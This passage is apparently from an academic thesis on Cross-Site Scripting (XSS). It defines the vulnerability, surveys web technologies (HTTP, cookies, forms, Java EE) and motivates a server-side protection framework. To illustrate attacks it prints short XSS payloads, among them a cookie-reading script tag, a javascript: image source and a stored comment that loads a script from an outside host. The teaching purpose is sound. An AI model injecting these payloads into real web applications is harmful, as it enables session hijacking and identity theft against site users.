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Executive Summary
As the Internet becomes the predominant medium of communication and commerce,
there has been an increase in the number of Web applications providing day-to-day
services such as shopping, banking, entertainment and more. At the same time most of
these applications contain vulnerabilities which are being discovered and exploited at an
alarming rate. Cross-Site Scripting (XSS) is universally seen by researchers and industry
experts as the top most prevalent Web application vulnerability.
The natural and simple way of developing Web applications is prone to XSS as
well as other vulnerabilities. In response, over the years various tools have been
developed for mitigating common Web application vulnerabilities. However, existing
techniques, including some of the emerging defense trends, suffer from various practical
drawbacks such as deployment infeasibility, performance overheads and unacceptable
inaccuracy rates. Ideally, a reliable, efficient, and configurable server-side tool should be
made available to protect any organisation against the evolving threat of XSS without
requiring modifications to the existing code.

In this research work a detailed profile of XSS is created, illustrating the sources,
causes, impact and subtleties of XSS attacks. New attack categories are identified and
emerging defense trends are introduced. Tools, methods and processes used by realworld hackers to evade the current Web defense mechanisms are discussed and applied
to both real and hypothetical ‘semi-real’ instances. Past, present and emerging
protection solutions are assessed and categorized according to their deployment point
and according to other dimensions which we extracted after examining, and reflecting
upon, the vast and disparate body of existing literature on the subject.

Finally, a set of design principles based on software engineering, secure coding,
and firewall theory is derived. Then a framework embodying these principles is put
together to protect enterprise resources with performance, accuracy and practicality in
mind. The framework was instantiated using the Aspect-Oriented Programming (AOP)
paradigm and open-source technologies. Coinciding with what was planned, without
involving any additional effort, all the test injection attacks were successfully and
efficiently mitigated without breaking the functionality of the evaluated Web application.
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Chapter 1
Introduction
The Internet’s origins date back to the early 1960s with research into building robust,
distributed and fault-tolerant computer networks. This concept was made real in the
1970s with the creation of Advanced Research Projects Agents Network (ARPANET).
Starting with just two nodes [1] the Internet now houses 2 billion citizens (almost 30% of
the world’s population) [2], home to more 800 million hosts [3] and a transporter of
billions of dollars [4]. Today, not only do big companies such as Google, Amazon and
eBay benefit from the Internet but many other traditional and smaller local businesses
are moving online to reach Internet users across the globe. With the escalating
availability of high-speed broadband connections and diverse mobile devices, the
Internet economy is poised for continued growth in the coming decades.
Built on top of the Internet is an information-sharing model that is known as the
World Wide Web (WWW) or simply the Web. Today, the Web has become one of the
most important communication channels between various kinds of service providers and
clients on the Internet. The use of Web-based services such as news pages, online
shops and search engines has become a widespread routine in today’s economic, social
and political life. Myriad applications are running on millions of servers worldwide and
their numbers are constantly increasing. With each online transaction, private
information, including phone numbers, credit card numbers, passwords and more are
routinely transferred and stored in a variety of locations. The organisations that collect
such information should be held responsible and liable for protecting such information
yet almost everyday we hear of security breaches and vulnerabilities leading to stolen
information full of sensitive and undisclosed business information.

Until recently security professionals borrowed ideas from military strategy where
a well-defined perimeter with a clear demarcation and understanding of its contents was
set

up

and

defended

with

everything.

Security

professionals
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thought that components such as ﬁrewalls, Secure Sockets Layer (SSL), Intrusion
Detection Systems (IDSs), and procedures such as hardening and patching the services
that needed to be exposed created a defensive wall strong enough to keep intruders out
of the enterprise. Despite the fact that this strategy was effective with the rise of the Web
and e-commerce the concept of a defensive wall was no longer viable. E-commerce
demanded applications to be accessible by all users and therefore the perimeter firewall
had to be opened to allow inbound connections over Hypertext Transfer Protocol
(Secure) (HTTP/S). The effect of widespread deployment of Web applications caused a
major shift to the organisation security perimeter, although part of it still being embodied
in firewalls and bastion hosts, to the organisation’s Web applications. This phenomenon
changed the Internet, almost instantly, from predominantly walled networks to a global ecommerce marketplace with Web applications becoming the easiest, most direct and
arguably the most exploited route for system compromise [5].

In the past, security administrators were mostly the people responsible for
implementing information security. However, nowadays Web developers are also
responsible for building security at the software layer. Enterprise security professionals
including Web developers, have the responsibility for dealing with vulnerabilities.
Nonetheless, the reality is that Web developers are not typically trained and well-versed
in the ever-evolving and complex field of Web security. Unfortunately, the philosophy of
the commercial industry has always been to release the product and then to patch it later
irrespective of whether security has been engineered or not throughout the development
lifecycle. Information security has been traditionally viewed as optional and as something
that does not contribute to Return On Investment (ROI). These days with standards and
regulations such as Payment Card Industry Data Security Standard (PCI DSS),
International Organization for Standardization 17799 (ISO 17799), Sarbanes-Oxley Act
(SOX) and others, one could intelligently argue that the situation is improving yet the
reality remains that there are applications complaint with the aforementioned standards
that are still being compromised.

Being a software developer myself and having worked with a number of
Information Technology (IT) security auditors and Web penetration testers I note that not
only do different auditors discover different vulnerabilities in the code but they tend to
give varying security recommendations to the same problem. Typically, the results and
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conclusions reached depend on the standard/checklist that was followed, on the
tools/technologies used, on the business context and on other factors. The problem is
also exacerbated by the plethora of confusing information that is available in the public
domain. One could search for terms such as Cross-Site Scripting (XSS) and come to
note that a fixed definition or even a standard set of detection/prevention techniques
does not exist. Part of this is happening because the security landscape is so dynamic
and rapidly evolving with new requirements and threats. This is also occurring because
there is a widespread confusion and misconception about several of the fundamental
concepts involved in Web application security. To fix the Web security problem, one of
the first steps to undertake is to understand what is broken and this requires a
catalogue, a map, of Internet security vulnerability classes.

Unfortunately, a standard catalogue of Internet security and the vulnerability
classes does not exist, except for hundreds or more of vendors targeting a specific niche
of the vulnerability stack. Nevertheless, examining prominent and popular vulnerability
scanning tools such as Nessus, Web vulnerability scanners such as Nikto and using
personal software industry experience, we can identify that from a technical perspective
a holistic approach to application security should cover three layers. These layers, as
can be seen in Table 1-1, are network, host and application. Each of these layers can be
exploited by hackers and can be a potential entry point to the layer underneath it.
Henceforth, this can lead to the compromise of the entire system. However, for the most
part the application layer has become the weakest link in the security chain. For this
reason, a separate topic encompassing a multitude of disciplines, technologies and
design concepts has been introduced. This topic is Web application security (in the past
called “CGI security”).
Layer

Components

L3 – Application

Custom Web Application
3rd Party Web Application
Operating System
Web Server
Application Server
Database Server
Router
Firewall
Switch

L2 – Host

L1 – Network

Table 1-1 – Holistic Web Application Security Stack
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In this thesis, we will focus on a subset of the Web application security field
known as XSS. While XSS is a relatively small part of the Web application field it
possibly represents the “most prevalent and pernicious” [6] Web application security
vulnerability. A simple XSS bug in a Web application can result in an attacker to hijack
user sessions, introduce worms or redirect users to malicious Web sites that exploit Web
browser security issues. XSS has been used with success to attack PayPal, eBay,
Twitter and many other real-world Web applications. Ironically, many Web application
developers do not understand the dangers of XSS and how to mitigate XSS attacks.
The overall goal of this research is to provide the enterprise security professional
and information security researchers with the necessary foundations to help them fathom
the complexity and nature of the XSS problem. Ultimately, this research aims to provide
a tool, a framework, to mitigate such attacks on the Web server. The framework is built
upon time-proven principles derived from secure coding, software engineering and
firewall theory. It is also built upon ideas borrowed from contemporary research to
defend an organisation’s Web sites in real-time and in a unique, reliable and practical
way without requiring the need of code modification or recompilation.

1.1 Cross-Site Scripting Attacks
Cross-Site Scripting (or CSS at the time) vulnerabilities date back to 1996 [7]. This was a
time when the Web was born and when Web sites were being constructed using
Hypertext Markup Language (HTML) Frames and JavaScript language (called LiveScript
at the time). At that time, attacks involved the use of Frames and JavaScript language to
load and access content from other domains and hence crossing the website boundary.
These issues were reported under browser vulnerabilities, most notably under Netscape
(back then the dominant browser vendor), and the acronym CSS was born. Later the
acronym was changed to XSS to resolve confusion with Cascading Style Sheets.

Today, more than a decade and a half later XSS is still one of the most common
vulnerabilities found in Web applications and it is on the rise especially with the shift
towards Web 2.0. While the definition of XSS is ever expanding, XSS can be considered
as a security exploit in which an attacker injects malicious code into a page returned by a
Web server trusted by a user. The typical attack process is depicted in Figure 1-1. This
attack process will be refined in Section 2.6.
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http://xssed/home.jsp?name=<script>alert(‘document.cookie’)</script>

Response Page

Browser

Web Server

...
Hello <script>
alert(document.c
ookie); </script>
...

Figure 1-1 – XSS Attack Process

In the diagram above we are demonstrating a dynamic Web page,
http://xssed/home.jsp, that reads the parameter “name” and echoes it back to the
response page without doing any filtration. An attacker notices such behaviour and to
exploit it he lures the victim into clicking a maliciously crafted link containing the
malicious string “<script>alert(‘document.cookie’)</script>”. When the
victim’s browser interprets the Web server response, a pop-up window displaying all the
client cookies belonging to http://xssed, is shown. Armed with such information, a
malicious user could impersonate the legitimate user and commit fraud in his name. This
attack is just the tip of the iceberg as in reality more powerful XSS attacks can be
created possibly leading to a “total breach of security” [8]. XSS attacks will be explained
in detail in Section 2.5.

Essentially, as was demonstrated above, XSS is a result of insufficient filtration of
data received from a malicious entity before storing or returning it to third-parties or to
the client system. Systems that receive data from users and display it directly on the
other users' browsers are very vulnerable to an XSS attack. Today, with the drive and
anticipated mainstream adoption of social software suites, microblogging and other rich
content-driven websites [9] such as wikis, forums, webmail and more, the attack surface
for XSS attacks has increased with the rise in application entry points.
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1.2 Motivation
As many companies are still struggling to introduce basic security components such as
antivirus and firewall solutions, the threat landscape has evolved into a much more
sophisticated and dangerous environment. While some years ago the leading threats
were primarily viruses, spyware and spam and caused primarily a nuisance, today the
threats have become more targeted, stealthier and their impacts more devastating. At
the same time, the time frame for protecting assets from these threats has shrunk from
weeks to minutes and possibly even to seconds.

Protection
Window

Weeks

Target
and
Impact
Scope

Individual
Desktop

Days

Individual
Desktop

Minutes/Seconds

Seconds

Individual Desktop
Individual Networks

Individual
Networks

Regional Networks
Global Infrastructure

Figure 1-2 – Web Application Vulnerabilities and Threat Evolution

Over the last few years, new threats have continued to emerge, taking advantage
of the significant increase in system vulnerabilities. Using the IBM X-Force® Trend and
Risk Report of 2009 [10] as a base and augmenting it with the protection window and
with the target and impact scope starting from the pre-nineties and advancing to today
and the possible future, as I see it, we end up with the diagram shown in Figure 1-2.
According to the same report, the most prevalent type of vulnerability affecting servers
today is unquestionably vulnerabilities related to Web applications. This conclusion
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coincides with that reached in statistical reports published by Ceznic, Symantec,
Forrester, Gartner and other professional bodies who study the phenomenon of both
commercial and open source software products. These reports indicate that the majority
of attacks arise at the application (software) layer (L3 of Table 1-1) and are remotely
exploitable (over the Internet or network) in nature.

Having understood that the high majority of all vulnerabilities pertain to Web
applications, the next step would be to analyze the attack classes that are being
exploited to contribute to such a devastating scenario. Investigating statistical reports
from Open Web Application Security Project (OWASP), WhiteHat Security, MITRE and
others, we find a general consensus that the most prevalent attack class is Cross-Site
Scripting attacks. Picking some of the most popular threats from Web Application
Security Consortium (WASC) Threat Classification and OWASP’s Top Ten and using
WhiteHat Security 2009 findings [11] as a base, we can plot the identified vulnerability
classes sorted by percentage likelihood and population. The result obtained can be seen
in Figure 1-3. This graph clearly indicates that Cross-Site Scripting is a ticking bomb
present in most applications and is likely to be exploited by motivated attackers.

80%
70%
60%
50%
Population

40%

Likelihood

30%
20%
10%
0%
Cross-Site
Scripting

Content
Spoofing

SQL Injection

Predictable
Res. Loc.

Information
Leakage

HTTP
Response
Splittling

Figure 1-3 – Cross-Site Scripting Likelihood and Population
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To mitigate such serious impact, Web applications should use an effective
solution for Cross-Site Scripting flaws. Unfortunately, as we will discuss in Chapter 4, a
pragmatic solution to protect the enterprise against the threat of XSS attacks does not
exist. In this work, we have investigated and evaluated solutions which claim to be stateof-the-art and solutions that appertain to both the research and industry domain. Alas,
we found out that most of the existing tools and approaches are not suited for the
atypical organisation or for companies that do not have expertise in security. For this
reason, in this thesis we have developed a pragmatic XSS protection framework for
defending any organisation against Cross-Site Scripting vulnerabilities in real-time with
performance and accuracy in mind. A prototype implementing parts of the framework
has also been devised, built and evaluated against a Java Server Page (JSP)
application.

1.3 Organisation of the Thesis
The rest of this thesis is organized as follows:


Chapter 2, Background, provides background knowledge for this thesis. The
fundamentals of Web applications and their underlying technologies are
introduced and the problem of XSS is formally defined and analyzed. The
different XSS sources, types, impacts, together with the attack process are
described with both real-world and hypothetical 'semi-real' examples and
illustrations.



Chapter 3, Existing Solutions, deals with the available solutions for mitigating
XSS. This chapter begins by describing the Web browser security model and its
shortcomings. Following that, the technical makeup of the different XSS
protection measures is analyzed and is used to categorize and explain
mitigations along the dimensions of detection, time, location and reaction.



Chapter 4, Proposed Solution, details our server-side solution to mitigate XSS
attacks. This chapter presents the practical problems associated with the existing
solutions and uses that to come up with a set of design principles and a
framework that overcomes the identified limitations. The architecture, the various
components and the workflow scenarios are discussed.

1. Introduction
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Chapter 5, Implementation and Evaluation, gives implementation details and
presents the experiment conducted with the prototype. The tool packages, core
application classes and the functionality of the developed test prototype are
described. Security and performance evaluation tests are discussed and the
obtained results are explained.



Chapter 6, Conclusions, concludes the thesis by summarizing the contributions
made to the research and software community. Possible future extensions to the
developed system are also discussed in this chapter.

Chapter 2
Background
In order to fully understand XSS attacks, there are several core theories and types of
techniques that attackers use to inject their code into Web browsers. This chapter covers
the fundamental information and theories that are necessary to understand XSS. The
chapter is logically divided into two parts.

The first part introduces a formal definition of XSS. This definition is progressively
expanded to build a detailed profile of XSS describing its nature, causes and
characteristics. Core standards and technologies behind the current Web browsers and
Web applications are introduced and analyzed for potential XSS deployment points.

In the second part of the chapter a detailed breakdown of the various types of
XSS attacks including ways on how these attacks could evolve in the future is provided.
Strategies, processes and tools used by real-world attackers to exploit such
vulnerabilities are investigated and explained through code examples and illustrations.

2.1 Command Injections
The purpose of a command injection attack is to inject and execute commands specified
by the attacker in the vulnerable application. Structured Query Language injections
(SQLi), command shell injections and XSS [12, 13] are three of the most common
instances of command injection attacks. In order to grasp the core of the problem, a
formal technology-neutral definition of command injections is introduced in the following
paragraphs. The definition is based on the definition proposed by G. V. Jourdan [14]
however the terminology is simplified and adapted to explain XSS.

Assume that we have a virtual processor (VP) that accepts programs as input
and executes them in some way. The program is executed if it is a valid program, and by
valid meaning that it has to form part of the input language LVP recognized by VP. The
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language LVP is defined by the grammar GVP. So, for example, the HTML browser VP
accepts programs written in HTML while the SQL database VP accepts programs written
in Structured Query Language (SQL).

Then using this model, we consider an application to have a command injection
vulnerability if the application uses VP and for a set of inputs i, the application generates
a program p sent to VP containing some elements from i that will be recognized as
keywords (predefined constants) of the language LVP by the grammar GVP. The following
figure, Figure 2-1, provides an illustration of this concept. In this figure the keywords in i
are in bold.

<IMG
SRC="javascript
:alert('XSS');"
>

i

Application

p

Virtual
Virtual
Processor
Processor (VP)
(VP)

Figure 2-1 – Command Injection Vulnerability

In other words, a command injection vulnerability is an application unexpected
modification that allows a user to modify the parsed input of a VP in such a way that the
modified portion of the input is going to be interpreted as a command by the processor.

2.2 XSS
XSS refers to a special case of command injection flaw whereby user input containing
scripting content (JavaScript or non-JavaScript vector) is placed into the output HTML
without being checked for HTML code or scripting code. Using the model described in
the previous section, Section 2.1, the VP in this case is the scripting interpreter
embedded into the Web browser and a successful attack consists of injecting data in the
application that will be interpreted as instructions (keywords) by the interpreter. In this
way, XSS can be described as the breaking of a data context (passive) and entering into
a code context (active). This context switch enables the injected code to be executed in
the browser with the same privileges of the originating Web site. Technically, XSS
bypasses the Same Origin Policy (SOP) of the Web browser [15]. The SOP will be
discussed in Chapter 3.
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In reality, there are three possible ways [16] to inject XSS into an HTML
document. The first method is to close the current context and start a new code context.
For example, this is performed by closing an HTML attribute with a “>” symbol and
starting a new <script> tag. The second way to perform an XSS injection is by adding
a code sub-context without closing the current context. For example, if the attacker
manages

to

change

the

tag

attribute

of

<img

src="..."/>

into

<img

src="javascript:alert(document.cookie)"/> they do not have to break out of
the HTML attribute context. Finally, the third way is to directly inject the code in the
current context. This happens for example when untrusted input is placed directly into a
JavaScript context as is shown in the example in the next paragraph.

To describe the third possible way of injecting an attack string we consider a trivial
example. Let us assume that we have a Web application (a forum) that allows users to
submit and view comments of other users. Assume that comments, together with the
person submitting them, the author, are stored in a database. Now, assume that the
application has fetched the author’s name and his comment and is storing them in two
variables, Author and Comment respectively. Suppose that the HTML document
showing the user-provided comments is built from the following server-side JSP code
below:
<B><%= Author %></B> says <%= Comment %>

If a malicious user enters a comment such as the following:
<script src=http://ha.ckers.org/xss.js?<B>

This would lead to an XSS (technically known as “Stored XSS” which we will discuss in
Section 2.5.2) attack where an HTML page is being created by the application with the
JavaScript instruction embedded in it. Eventually, the malicious JavaScript will be
executed by the HTML browsers of subsequent visitors unless proper XSS protection is
in place. In this example, the injection did in fact trigger the invocation of the VP, but
similar examples can be created where cross-site scripting occurs inside the scripting
engine (such as “DOM XSS” attacks which we will discuss in Section 2.5.3). The
taxonomy of XSS attacks will be detailed in Section 2.5.
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Using the definition and example above we can create a more detailed profile
describing the nature and characteristics of XSS. The results are shown in the table
below, Table 2-1. This table is based on SANS and MITRE’s description of XSS [17]
however it is expanded in particular to quantify the possible attack vectors.
XSS Characteristic
Threat Agents

Attack Vectors

Explanation
Any entity who can send untrusted data to the system,
including
external
users,
internal
users and
administrators. This can also include processes such as
software bots.
A threat agent sends text-based attack strings
(sometimes called Scriptlets) that exploit the interpreter
in the browser. Almost any source of data can be a
potential attack vector. The XSS sources are described
in Section 2.4.
Should we attempt to quantify the number of possible
attack vectors we can come up with hundreds of
possible combinations. We can come up with such a
statement by multiplying the following factors:

Causes

Introduction Time
Languages
Architectural Paradigms
Technology Classes

1. Number of active client-side and thick-client
technologies (nt)
2. Number of XSS prone method/function calls per
nt (nc)
3. Number of ways in which a malicious string can
be embedded for each nc (nw)
4. Number of attack strings for each nw (na)
The software does not sanitize or incorrectly sanitizes
user-controllable input before it is placed in output that is
used as a Web page served to other users.
Design and Implementation.
Programming language independent.
Typically, Web-based.
Typically, Web server.
Table 2-1 – XSS Characteristics

Thus, in a nutshell we can say that an XSS attack is the exploitation of
insufficient input validation and for such exploitation to occur at least three components
must be present. These are the threat agent, the vulnerable Web application and the
victim(s) of the vulnerable application. Typically, the victim’s browser instance is the
standard Web browser (Microsoft Internet Explorer, Mozilla Firefox, Google Chrome,
etc.). However, this could also be a browser object embedded in a software product such
as the browser within a Really Simple Syndication (RSS) reader or an email client.
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XSS is frequently confused with Cross-Site Request Forgery (CSRF) attacks but
in reality although they have similar characteristics they are quite different. While XSS
exploits the trust a user has for a particular Web site, CSRF exploits the trust that a Web
site has for a particular user [18]. In contrast to XSS which is aimed at inserting active
code in an HTML document, CSRF does not rely on active scripting and its aim is that of
executing unapproved and unrequested actions on a Web site that appears to be
initiated by a genuine user.

In the next section we will introduce the core standards and technologies behind
the current Web browsers and Web applications. The details provide the necessary
groundwork that will eventually help us to better understand how XSS attacks are
conducted and in later chapters to reliably defend against such attacks.

2.3 Web Application Fundamentals
There are various types of software applications. The main types of applications include
mobile applications, stand-alone applications, rich Internet applications (RIA), service
applications (no user-interface support) and Web applications [19]. The distinguishing
feature of Web applications is that they are dependent on continual network connectivity
and also on the relative ease of deployment and change management.

In the vast majority of the cases XSS arises in Web applications, however XSS
can in theory occur in any other application type. Although there is not currently any
research data that we could find to substantiate this claim, it is evident by our definition
that a command injection can occur in any application type and subsequently XSS,
although having more prerequisites, can arise in any Web accessible application. For
example, if mobile applications can accept “data” from third-parties and such “data” can
embed code that is not properly sanitized this can lead to XSS when accessed via an
HTML aware browser.

A Web application is an application that can be accessed through a Web browser
or a specialized user agent. The Web browser is responsible for creating HTTP requests
for specific Uniform Resource Locators (URLs) that map to resources on a Web server.
The Web server, such as IIS or Apache, is a service, typically listening on port 80
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(HTTP) or port 443 (HTTPs), that renders and returns HTML pages to the client, which
the Web browser can display. Most enterprise Web applications besides the Web server
use other technologies such as application servers, reporting servers, file servers and
other specific technologies to satisfy the business requirements. Irrespective of the
server configuration, the kernel of the application is the server-side logic, and the entry
point to this core is the Web server.

The typical Web application is structured into a three-layered architecture. This is
composed of the presentation, business and data layers. The diagram in the next page,
Figure 2-2, illustrates the typical Web application architecture with common components
grouped by different areas of concern. This figure is based on the Web application
model proposed in the book “Microsoft Application Architecture Guide” however it is
expanded to indicate potential servers and network components. The vertical arrows
present on the left of the diagram show the typical server that is hosting the particular
application layer and the horizontal arrows illustrate the firewall that is usually configured
in between the different layers.
The presentation layer usually provides the application’s User Interface (UI) and
presentation logic components. The next layer, the business layer, usually includes
business logic, business workflow and optionally an application façade. Finally, the data
layer provides access to external systems such as databases, files and service agent
components. There are also cross-cutting concerns such as security, communication
and operational management that should apply to each layer. In this thesis, the
prototype implementation is implemented as a cross-cutting concern by using an AspectOriented Programming (AOP) method that inserts crosscutting XSS-protection code
directly into the compiled output of JSP applications.
Technically, XSS can arise at any application layer but most often it occurs
through the presentation layer as this layer defines (in theory) the entry point to the
trusted code base (the “Business Layer” and “Data Layer” as per Figure 2-2) which is the
core of the server-side application. However, in reality depending on how the application
and the network components (such as the firewall and routers) are configured an
experienced hacker might access directly the other layers without going through the
presentation layer possibly bypassing all the installed client-side validations.
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Figure 2-2 – Web Application Structure

Web applications employ a myriad of different technologies to implement their
functionality. The next sections feature a short primer on the fundamental technologies
that are likely to be used to attack Web applications. Most of the fundamental
technologies covered in this section of this chapter are based on the official’s Google’s
“Browser Security Guide” [20], however the language is simplified and illustrated with
clear examples to better serve our purpose. The understanding of these components is
mandatory and sufficient to understand how the protection framework is designed,
implemented and evaluated.
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2.3.1 HTTP
The core communications protocol that is used to access the Web and is used by all of
today’s Web applications is called the Hypertext Transfer Protocol (HTTP). This textbased communication method drafted by Tim Berners-Lee (person credited with
inventing the Web) has evolved to the current standard, HTTP/1.1, officially in 1999. This
standard is described in RFC 2616 [21]. HTTP uses a message-based model in which a
client (for instance the Web browser) sends a request message and the server returns a
response message.
Every HTTP request begins with a single-line description of a content access
method (verb). Typically, the verb GET is used to request simple content, the verb
POST for submitting state-changing data to servers and then there are various more
specialized options (including HEAD, PUT, DELETE, OPTIONS and TRACE) that are
typically not used directly by Web applications under normal circumstances. In HTTP/1.1
the verb is followed by the protocol version specification which is subsequently followed
by zero or more additional field:value headers, each occupying a separate line.
Potentially, each of these fields could carry an XSS injection.
These headers specify metadata, ranging from the target host name, cookies, the
site from which a particular request originated (Referer) and so forth. Headers are
terminated with a mandatory blank line followed by any optional payload (HTTP Request
Body) data being sent to the server if specified by a Content-Length header.
One example of an HTTP request might be:
POST /books/search.jsp HTTP/1.1
Host: www.josephbugeja.mt
Cookie: lang=en; JSESSIONID=5373tI9rk7joMx63S2Uu85nSWu_:vnnlc446

User-Agent: Mozilla/5.0 (Windows;en-GB; rv:1.8.0.11)
Accept:text/xml, text/html, image/png, */*
Accept-Language: en-gb,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.josephbugeja.mt/books/default.jsp
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
uid=JBU983&q=infosec
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The server would then respond in a similar manner, returning the HTTP version
being used, a numeric status code indicating the result of the request (1xx –
Informational, 2xx – Success, 3xx – Redirection, 4xx – Client Error, 5xx – Server Error)
and similarly formatted metadata headers followed by the actual content requested (if it
is available).

2.3.2 URIs
All Web resources are addressed with the use of Uniform Resource Identifiers (URIs).
The abstract syntax for URIs is specified in RFC 3986 [22]. Within the scope of HTTP,
FTP, NNTP and several other protocols the URI syntax is defined in RFC 1738 [23].
Together, these two RFCs define the following syntax for addressing common Internet
resources:
scheme://[login[:password]@](host_name|host_address)[:port][/hierarchical/p
ath/to/resource[?search_string][#fragment_id]]

The presence of a scheme is the key differentiator between references permitted in
documents. When the URI scheme is “http” the URI is called a URL.
Ignoring the request body parameters, the URI/URL used to generate the HTTP
request for the example shown earlier on is:
http://www.josephbugeja.mt/books/search.jsp

URIs are a valid XSS source and are especially manipulated by attackers to carry
“Reflected XSS” Attacks.

2.3.3 Cookies
The cookie mechanism enables the Web server to send items of data to the client which
the client then stores and resubmits back to the originating server. A server issues a
cookie using the Set-Cookie response header, and when this request is received the
client’s browser will automatically submit the cookie in the Cookie header.

Cookies normally consist of a name/value pair, but may consist of any string that
does not contain a space. In addition to the cookie’s actual value, the Set-Cookie
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header can also include optional attributes (including expires, domain, path, secure
and HTTPOnly) to control how the browser handles the cookie. These attributes will be
discussed in Section 3.1.2.

Each of these cookie attributes can impact the security of the Web application.
Cookies can be used as spyware (for instance zombie cookies could track browsing
habits) and are often exploited by XSS attacks to impersonate users (i.e. a form of
identity theft).

2.3.4 Server-Side Functionality
Today’s Web applications, unlike in the past where most of the resources were static
(pure HTML), feature a large amount of dynamically generated content. When a user
requests a dynamic resource, the server’s response is formed on-the-fly and each user
may receive content that is uniquely customized for them. Dynamic content is generated
by scripts (akin to software programs) or other code executing on the server. The scope
of this thesis is that of providing XSS protection to the enterprise resources and this
entails protecting the dynamic server-side resources against such attacks.
In general, when a user’s browser makes an HTTP(s) request for a dynamic
resource it will also submit various parameters alongside the request. It is these
parameters that enable the server-side application to generate tailored content to the
individual user. Such user input is the real source of XSS attacks. Studying the HTTP/1.1
protocol specification and analyzing in particular how HTTP requests are formed
(explained in Section 2.3.1) we can identify three primary ways in which such requests
can be used to send parameters to the application and these are:


In the URI query string



In HTTP cookies



In the body of HTTP requests using the POST method

In addition to these primary sources of input, the server-side application may in
principle use any part of the HTTP request as an input to its processing. For instance, an
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application may process the User-Agent HTTP header to generate output that is
optimized for the type of Web browser being used.

In the following section we will briefly discuss one of the most popular
technologies, the Java Platform. The framework and the Web application developed for
this thesis have been built using the Java Platform for its unique and time-proven
advantages to the enterprise – security, portability and scalability.

2.3.4.1 Java Platform
The Java Platform, Enterprise Edition (formerly known as J2EE and nowadays better
known as JEE) has been for many years the de facto standard for large-scale enterprise
applications. Developed by Sun Microsystems (Sun is now acquired by Oracle) it lends
itself to multi-tiered architectures and it is well-suited to modular development and codereuse.

Descriptions of Java-based Web applications often employ a number of potentially
confusing terms however for the scope of this thesis we will need to be aware of three
main terms which are:


A Java Servlet is an object that resides on a Java Web Container and receives
HTTP requests from clients and returns HTTP responses. Like XML for the
Semantic Web (an extension of the Web where the meaning of data is available
to and processable by computers) [24, 25] the Java Servlet is the foundation of
all the Web application technologies including JSP, JSTL, JSF and others.



A Java Bean is a class written in the Java language that conforms to a particular
convention. Essentially, it encapsulates many objects into a single object (the
bean) so that they can be passed around as one bean object instead of multiple
objects.



A Java Web container is a platform/engine that provides a runtime-environment
for Java-powered Web applications. Examples of Java Web containers are
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Apache Tomcat, Oracle WebLogic and JBoss. Sometimes, a Web container is
referred to as an application server.

To better understand how the various Java technologies interact with each other and
eventually to lead us to the design and implementation of XSS protection for such
applications we need to illustrate how a Web client and a Java Web application interact
with each other. Such interaction is depicted in the figure below, Figure 2-3. The diagram
and the explanation below are extracted from the official Oracle Java EE 6 Tutorial [26].

Web Server

1

HTTPServletRequest

2

Web
Client

Web
Components

4

3
6

HTTPServletResponse

5

JavaBeans
Components

4

Figure 2-3 – Web Application Request Handling

In words the above diagram can be explained as follows:
1) The client forms and submits an HTTP request to the Web server.
2) The Web server converts the request into an HTTPServletRequest object. This is
then forwarded to a Web component. Such a component can interact with
JavaBeans components or a database to generate dynamic content.
3) The Web component can then generate an HTTPServletResponse or it can pass
the request to another Web component.
4) Eventually a Web component generates an HTTPServletResponse object.
5) The Web server converts this object to an HTTP response and returns it to the
client.
The prototype and notes on how it was implemented will be discussed in Chapter 5.
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2.3.5 Client-Side Functionality
In order for the server-side Web application to receive user input and actions and display
the results of these back to the user a client-side UI is needed. Because Web
applications are accessed via a Web browser these interfaces all share a common core
of technologies. Essentially, each of the following technologies can carry or can be used
to create an XSS attack. Therefore, getting the gist of these technologies is important to
build an anti-XSS protection scheme.

2.3.5.1 HTML
The core technology used to build Web interfaces is the Hypertext Markup Language
(HTML). This is a tag-based language that is used to describe the structure of
documents that are rendered within the Web browser. The first HTML specification
appeared in 1995 and from there HTML continued to evolve with the latest HTML
working draft specification being HTML 5.
Going against the security principle “Don’t Mix Code and Data” [27] HTML blends
together code (JavaScript, Java Applets, Flash, and more) and the actual data to be
displayed. HTML is considered to be one of the worst or probably, according to the
founder and CEO of Aspect Security, Jeff Williams, “the worst mashup of code and data
of all time” [28]. This is because there are incredibly many places and different ways of
where and how to inject XSS code as we will see in the rest of this chapter.

2.3.5.2 Hyperlinks
Hyperlinks (or links) are references to a document (whole or specific element). In Web
applications, hyperlinks frequently contain preset request parameters which are
submitted because the server placed them into the target URL of the hyperlink on which
the user clicks. For example, an e-commerce Web application might present a series of
links to add items to a virtual shopping cart, each having the following format:
<a href=”/items/addItems?itemid=18”>Buy ‘Computer Security’ by D.
Gollmann</a>

When a user clicks on this link, the browser makes the following request:

2. Background

31

GET /items/addItems?itemid=18 HTTP/1.1
Host: www.josephbugeja.mt
…

In this case, the server receives one parameter (itemid) and uses this value to
determine what content should be presented to the user. Hyperlinks are also a potential
XSS source that attackers can manipulate to inject scripting code.

2.3.5.3 Forms
While hyperlink navigation (browsing) is responsible for the majority of client to server
communications, in most Web applications HTML forms are the usual mechanism for
allowing users to enter input via their browser. A typical form is structured as the below:
<form action=”/demo/login.jsp?act=1” method=”post”>
Username: <input type=”text” name=”username”><br/>
Password: <input type=”password” name=”password”>
<input type=”hidden” name=”uid” value=”JBU983”>
<input type=”submit” name=”submit” value=”login”>
</form>

When the user enters values into the above form and submits it, the browser makes an
HTTP request like the following:
POST /demo/login.jsp?act=1 HTTP/1.1
Host: www.josephbugeja.mt
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
Cookie: SESS=AGfrp5x4ssftFSSnrXDGgGa4J87MXyarvFM9Ce
username=joseph&password=mypassword&uid=JBU983&submit=login

It is particularly interesting to note that when such a request is submitted all the form
data including hidden parameters and cookies get submitted to control the server-side
processing. An attacker can remove, add or tamper with any of these parameters to
possibly inject an XSS attack string. We will see an example of this when we evaluate
the prototype in Chapter 5.

2.3.5.4 JavaScript
JavaScript is a powerful programming language that can be used to extend Web
interfaces in ways that are not possible using HTML alone. JavaScript is commonly used
to perform validation of user entered data before submitting to the server, to dynamically
modify the UI in response to user actions, and to facilitate the querying and updating of
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the rendered page. The rendered page is often referred to as the Document Object
Model (DOM) and essentially the DOM is an interface that allows programs and scripts
to interact with HTML objects. JavaScript is the main programming language used to
create XSS and CSRF attacks.

A significant development in the use of JavaScript has been the creation of the
Asynchronous JavaScript and XML (AJAX) techniques for creating a smoother and
richer user experience. Sometimes, AJAX is hailed as the enabling technology for “Web
2.0”. While creating a more satisfying experience for the user AJAX has increased the
